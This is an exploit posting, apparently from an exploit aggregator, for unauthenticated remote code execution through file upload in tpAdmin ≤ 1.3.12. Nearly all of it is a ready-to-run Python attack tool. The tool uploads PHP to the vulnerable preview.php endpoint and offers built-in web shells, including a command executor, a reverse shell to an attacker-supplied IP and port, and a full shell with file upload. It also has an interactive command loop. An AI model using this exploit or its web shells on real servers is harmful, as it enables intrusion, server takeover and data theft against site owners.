Share
## https://sploitus.com/exploit?id=PACKETSTORM:216795
=============================================================================================================================================
| # Title : tpAdmin โค 1.3.12 Remote Code Execution via Arbitrary File Upload |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://github.com/yuan1994/tpAdmin |
=============================================================================================================================================
[+] Summary : A critical Remote Code Execution (RCE) vulnerability exists in tpAdmin versions โค 1.3.12 due to improper validation of file uploads within the preview.php component under /admin/lib/webuploader/0.1.5/server/.
The application fails to properly validate file type, MIME type, and executable content when processing Base64-encoded data URIs.
An attacker can craft a malicious payload disguised as an image and upload arbitrary PHP code to the server.
If the uploaded file is stored within a web-accessible directory and PHP execution is permitted, this results in unauthenticated remote code execution
[+] POC :
#!/usr/bin/env python3
import requests
import base64
import sys
import argparse
from urllib.parse import urljoin
import time
class Colors:
GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
END = '\033[0m'
def print_banner():
"""Prints the tool banner"""
banner = f"""
{Colors.BLUE}
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ tpadmin RCE Exploit โ
โ Remote Code Execution via Arbitrary File Upload โ
โ Discovered by: indoushka โ
โ Exploit coded for educational purposes only โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
{Colors.END}
"""
print(banner)
def encode_payload(php_code):
"""
Encodes PHP code to base64
Args:
php_code (str): The PHP code to be encoded
Returns:
str: The base64 encoded code
"""
return base64.b64encode(php_code.encode()).decode()
def upload_shell(target_url, php_code, output_file=None):
"""
Uploads a shell to the target server
Args:
target_url (str): The base target URL
php_code (str): The PHP code to upload
output_file (str): The resulting filename (optional)
Returns:
tuple: (Success status, shell link, message)
"""
vuln_path = "/admin/lib/webuploader/0.1.5/server/preview.php"
full_url = urljoin(target_url, vuln_path)
encoded_code = encode_payload(php_code)
payload = f"data:image/php;base64,{encoded_code}"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "keep-alive"
}
try:
print(f"{Colors.YELLOW}[*] Sending payload to: {full_url}{Colors.END}")
response = requests.post(
full_url,
headers=headers,
data=payload,
timeout=10,
verify=False
)
if response.status_code == 200:
import re
url_pattern = r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
urls = re.findall(url_pattern, response.text)
shell_url = None
for url in urls:
if '.php' in url:
shell_url = url
break
if not shell_url:
filename_match = re.search(r'([a-f0-9]+\.php)', response.text)
if filename_match:
filename = filename_match.group(1)
shell_url = urljoin(target_url, f"/public/uploads/{filename}")
return True, shell_url, "File uploaded successfully"
else:
return False, None, f"Upload failed: {response.status_code}"
except requests.exceptions.Timeout:
return False, None, "Connection timed out"
except requests.exceptions.ConnectionError:
return False, None, "Failed to connect to the server"
except Exception as e:
return False, None, f"Error: {str(e)}"
def generate_php_shell(shell_type="simple"):
"""
Generates PHP shell code of various types
Args:
shell_type (str): Shell type (simple, system, reverse, full)
Returns:
str: PHP code
"""
shells = {
"simple": """<?php phpinfo(); ?>""",
"system": """<?php
echo "<h2>System Command Executor</h2>";
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
} else {
echo "Usage: ?cmd=command";
}
?>""",
"reverse": """<?php
// Reverse Shell - Replace IP and PORT
$ip = 'YOUR_IP';
$port = YOUR_PORT;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>""",
"full": """<?php
// Integrated Web Shell
echo "<h1 style='color:red;'>tpadmin RCE Shell - CVE-2026-2113</h1>";
echo "<hr>";
// System Information
echo "<h3>System Info:</h3>";
echo "<pre>";
echo "OS: " . php_uname() . "\\n";
echo "User: " . get_current_user() . "\\n";
echo "PHP Version: " . phpversion() . "\\n";
echo "Server Software: " . $_SERVER['SERVER_SOFTWARE'] . "\\n";
echo "Document Root: " . $_SERVER['DOCUMENT_ROOT'] . "\\n";
echo "</pre>";
// Command Execution
if(isset($_REQUEST['cmd'])) {
echo "<h3>Command Execution:</h3>";
echo "<pre>";
$cmd = $_REQUEST['cmd'];
system($cmd);
echo "</pre>";
}
// Simple UI
echo "<hr>";
echo "<form method='POST'>";
echo "Command: <input type='text' name='cmd' size='50'>";
echo "<input type='submit' value='Execute'>";
echo "</form>";
// File Upload
if(isset($_FILES['file'])) {
$uploaddir = './';
$uploadfile = $uploaddir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "File uploaded: " . $uploadfile . "\\n";
} else {
echo "File upload failed\\n";
}
}
echo "<hr>";
echo "<form enctype='multipart/form-data' method='POST'>";
echo "Upload file: <input type='file' name='file'>";
echo "<input type='submit' value='Upload'>";
echo "</form>";
?>"""
}
return shells.get(shell_type, shells["simple"])
def check_vulnerability(target_url):
"""
Checks if the target is vulnerable
Args:
target_url (str): The target URL
Returns:
bool: Whether the target is vulnerable
"""
vuln_path = "/admin/lib/webuploader/0.1.5/server/preview.php"
full_url = urljoin(target_url, vuln_path)
try:
response = requests.get(full_url, timeout=5, verify=False)
if response.status_code == 200:
test_code = "<?php echo 'test'; ?>"
encoded = encode_payload(test_code)
payload = f"data:image/php;base64,{encoded}"
test_response = requests.post(
full_url,
data=payload,
timeout=5,
verify=False
)
if test_response.status_code == 200:
return True
except:
pass
return False
def interactive_shell(shell_url):
"""
Runs an interactive shell
Args:
shell_url (str): The shell URL
"""
print(f"{Colors.GREEN}[+] Interactive shell started{Colors.END}")
print(f"{Colors.YELLOW}[*] Type 'exit' to quit{Colors.END}")
print(f"{Colors.YELLOW}[*] Type 'help' for assistance{Colors.END}")
while True:
try:
cmd = input(f"{Colors.BLUE}shell> {Colors.END}").strip()
if cmd.lower() == 'exit':
break
elif cmd.lower() == 'help':
print("Available commands:")
print(" exit - Exit the shell")
print(" help - Display this help")
print(" clear - Clear the screen")
print(" any command - Execute any system command")
continue
elif cmd.lower() == 'clear':
import os
os.system('cls' if os.name == 'nt' else 'clear')
continue
elif not cmd:
continue
# Send command to shell
params = {'cmd': cmd}
response = requests.get(shell_url, params=params, timeout=10, verify=False)
if response.status_code == 200:
print(response.text)
else:
print(f"{Colors.RED}[-] Error executing command{Colors.END}")
except KeyboardInterrupt:
print("\nExiting...")
break
except Exception as e:
print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}")
def main():
"""Main function"""
print_banner()
parser = argparse.ArgumentParser(
description="tpadmin RCE Exploit - CVE-2026-2113",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument(
"-u", "--url",
required=True,
help="Target URL (e.g., http://target.com)"
)
parser.add_argument(
"-t", "--type",
choices=["simple", "system", "reverse", "full"],
default="simple",
help="Shell type (default: simple)"
)
parser.add_argument(
"-c", "--command",
help="Single command to execute (instead of interactive shell)"
)
parser.add_argument(
"-o", "--output",
help="Save results to a file"
)
parser.add_argument(
"--check-only",
action="store_true",
help="Only check if the target is vulnerable"
)
parser.add_argument(
"--no-ssl-verify",
action="store_true",
help="Ignore SSL certificate verification"
)
args = parser.parse_args()
if args.no_ssl_verify:
requests.packages.urllib3.disable_warnings()
print(f"{Colors.YELLOW}[*] Checking target: {args.url}{Colors.END}")
if args.check_only:
if check_vulnerability(args.url):
print(f"{Colors.GREEN}[+] Target is vulnerable!{Colors.END}")
sys.exit(0)
else:
print(f"{Colors.RED}[-] Target is not vulnerable or unreachable{Colors.END}")
sys.exit(1)
php_code = generate_php_shell(args.type)
if args.command and args.type == "system":
php_code = f"<?php system('{args.command}'); ?>"
success, shell_url, message = upload_shell(args.url, php_code, args.output)
if success:
print(f"{Colors.GREEN}[+] {message}{Colors.END}")
if shell_url:
print(f"{Colors.GREEN}[+] Shell URL: {shell_url}{Colors.END}")
if args.output:
with open(args.output, 'w') as f:
f.write(f"Target: {args.url}\n")
f.write(f"Shell URL: {shell_url}\n")
f.write(f"PHP Code:\n{php_code}\n")
print(f"{Colors.GREEN}[+] Results saved to: {args.output}{Colors.END}")
if args.command:
response = requests.get(shell_url, params={'cmd': args.command}, verify=False)
if response.status_code == 200:
print(f"{Colors.GREEN}[+] Command result:{Colors.END}")
print(response.text)
else:
print(f"{Colors.RED}[-] Command execution failed{Colors.END}")
else:
try:
interactive_shell(shell_url)
except KeyboardInterrupt:
print("\nExiting...")
else:
print(f"{Colors.YELLOW}[*] Shell link not found; manual search might be required{Colors.END}")
print(f"{Colors.YELLOW}[*] Try looking in: {args.url}/public/uploads/{Colors.END}")
else:
print(f"{Colors.RED}[-] {message}{Colors.END}")
sys.exit(1)
if __name__ == "__main__":
main()
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================